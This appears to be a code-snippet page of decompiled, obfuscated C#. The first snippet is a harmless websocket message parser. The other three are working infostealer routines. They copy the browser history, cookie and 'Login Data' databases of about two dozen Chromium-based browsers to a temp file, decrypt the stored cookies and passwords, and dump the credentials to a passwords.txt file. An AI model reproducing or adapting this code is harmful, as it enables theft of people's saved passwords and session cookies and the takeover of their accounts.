示例#1
0
    public MessageHandler method_11()
    {
        if (!this.nullable_0.HasValue)
        {
            string str = Class84.smethod_0().imethod_8(this.byte_0, 0, this.int_4);
            if (str.Length == 1)
            {
                return(null);
            }
            this.nullable_0 = new bool?(str.ToLower().Contains("websocket"));
            if (this.nullable_0.Value)
            {
                Class9 class7 = new Class9(str);
                this.int_4 = 0;
                byte[] buffer = Class84.smethod_0().imethod_9(class7.method_2());
                base.GetStream().Write(buffer, 0, buffer.Length);
                return(null);
            }
        }
        if (this.nullable_0.Value)
        {
            int     num    = 0;
            Class12 class4 = Class12.smethod_0(this.byte_0, this.int_4, out num);
            if (class4 == null)
            {
                return(null);
            }
            if (class4.Header.method_4() == 8)
            {
                this.bool_1 = true;
                return(null);
            }
            this.method_12(num);
            Class41 class3 = Class41.smethod_1(class4.method_1(), 0);
            class3.SetClientType((base.GetStream() is SslStream) ? ClientType.WebSocket_SSL : ClientType.WebSocket);
            return(new MessageHandler(class3, class4.method_1(), class3.imethod_4(), base.GetIPEndPoint()));
        }
        if (this.int_4 < this.int_3)
        {
            return(null);
        }
        Class41 class6 = Class41.smethod_1(this.byte_0, 0);

        if (class6.imethod_5() == 0)
        {
            this.method_12(class6.imethod_4());
            return(new MessageHandler(class6, null, base.GetIPEndPoint()));
        }
        if (this.int_4 < (this.int_3 + class6.imethod_5()))
        {
            return(null);
        }
        byte[] dst = new byte[class6.imethod_5()];
        Buffer.BlockCopy(this.byte_0, class6.imethod_4(), dst, 0, class6.imethod_5());
        this.method_12(class6.imethod_4() + class6.imethod_5());
        return(new MessageHandler(class6, dst, 0, base.GetIPEndPoint()));
    }
示例#2
0
    // Token: 0x060001ED RID: 493 RVA: 0x0000FC9C File Offset: 0x0000DE9C
    private static List <Class24> smethod_2(string string_0)
    {
        List <Class24> result;

        try
        {
            string text = Dirs.WorkDir + "test.fv";
            if (File.Exists(text))
            {
                File.Delete(text);
            }
            File.Copy(string_0, text, true);
            Class12        @class = new Class12(text);
            List <Class24> list   = new List <Class24>();
            @class.method_4("urls");
            for (int i = 0; i < @class.method_1(); i++)
            {
                try
                {
                    string a = string.Empty;
                    try
                    {
                        a = @class.method_0(i, 5);
                    }
                    catch
                    {
                    }
                    if (a != "")
                    {
                        List <Class24> list2  = list;
                        Class24        class2 = new Class24();
                        class2.method_1(@class.method_0(i, 1));
                        class2.method_3(@class.method_0(i, 2));
                        list2.Add(class2);
                    }
                }
                catch
                {
                }
            }
            File.Delete(text);
            result = list;
        }
        catch
        {
            result = null;
        }
        return(result);
    }
示例#3
0
    // Token: 0x060001CD RID: 461 RVA: 0x0000EA64 File Offset: 0x0000CC64
    private static List <Class21> smethod_2(string string_0)
    {
        List <Class21> result;

        if (!File.Exists(string_0))
        {
            result = null;
        }
        else
        {
            try
            {
                string text = Dirs.WorkDir + "test.fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Class12        @class = new Class12(text);
                List <Class21> list   = new List <Class21>();
                @class.method_4("cookies");
                for (int i = 0; i < @class.method_1(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            text2 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null));
                        }
                        catch
                        {
                        }
                        if (text2 != "")
                        {
                            List <Class21> list2  = list;
                            Class21        class2 = new Class21();
                            class2.method_1(@class.method_0(i, 1));
                            class2.name = @class.method_0(i, 2);
                            class2.path = @class.method_0(i, 4);
                            class2.method_3(@class.method_0(i, 5));
                            class2.method_5(@class.method_0(i, 6));
                            class2.value = text2;
                            list2.Add(class2);
                            Class20.int_0++;
                        }
                    }
                    catch
                    {
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch
            {
                result = null;
            }
        }
        return(result);
    }
示例#4
0
 // Token: 0x06000203 RID: 515 RVA: 0x00010138 File Offset: 0x0000E338
 public static void smethod_0()
 {
     string[] array = new string[]
     {
         "Chrome",
         "Yandex",
         "Orbitum",
         "Opera",
         "Amigo",
         "Torch",
         "Comodo",
         "CentBrowser",
         "Go!",
         "uCozMedia",
         "Rockmelt",
         "Sleipnir",
         "SRWare Iron",
         "Vivaldi",
         "Sputnik",
         "Maxthon",
         "AcWebBrowser",
         "Epic Browser",
         "MapleStudio",
         "BlackHawk",
         "Flock",
         "CoolNovo",
         "Baidu Spark",
         "Titan Browser"
     };
     try
     {
         Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
         List <string> list  = new List <string>();
         List <string> list2 = new List <string>
         {
             Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
             Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
         };
         List <string> list3 = new List <string>();
         foreach (string path in list2)
         {
             try
             {
                 list3.AddRange(Directory.GetDirectories(path));
             }
             catch
             {
             }
         }
         foreach (string path2 in list3)
         {
             try
             {
                 list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories));
                 string[] files = Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories);
                 foreach (string text in files)
                 {
                     try
                     {
                         if (File.Exists(text))
                         {
                             string string_ = "Unknown (" + text + ")";
                             foreach (string text2 in array)
                             {
                                 if (text.Contains(text2))
                                 {
                                     string_ = text2;
                                 }
                             }
                             try
                             {
                                 string text3 = Path.GetTempPath() + "/test.fv";
                                 if (File.Exists(text3))
                                 {
                                     File.Delete(text3);
                                 }
                                 File.Copy(text, text3, true);
                                 Class12 @class = new Class12(text3);
                                 if ([email protected]_4("logins"))
                                 {
                                     break;
                                 }
                                 int num = 0;
                                 for (;;)
                                 {
                                     try
                                     {
                                         if (num >= @class.method_1())
                                         {
                                             break;
                                         }
                                         try
                                         {
                                             string text4 = string.Empty;
                                             try
                                             {
                                                 text4 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null));
                                             }
                                             catch (Exception)
                                             {
                                             }
                                             if (text4 != "")
                                             {
                                                 Class27 class2 = new Class27();
                                                 class2.method_1(@class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", ""));
                                                 class2.method_3(@class.method_0(num, 3));
                                                 class2.method_5(text4);
                                                 class2.method_7(string_);
                                                 Class27 arg = class2;
                                                 Class26.string_0 += Convert.ToString(Environment.NewLine + arg);
                                                 Class26.int_0++;
                                             }
                                         }
                                         catch
                                         {
                                         }
                                         num++;
                                     }
                                     catch
                                     {
                                     }
                                 }
                                 File.Delete(text3);
                             }
                             catch
                             {
                             }
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
         }
         File.WriteAllText(Dirs.WorkDir + "\\passwords.txt", (Class26.string_0 != null) ? ("Shut Up and Work " + Environment.NewLine + Class26.string_0 + "\n") : "", Encoding.Default);
     }
     catch
     {
     }
 }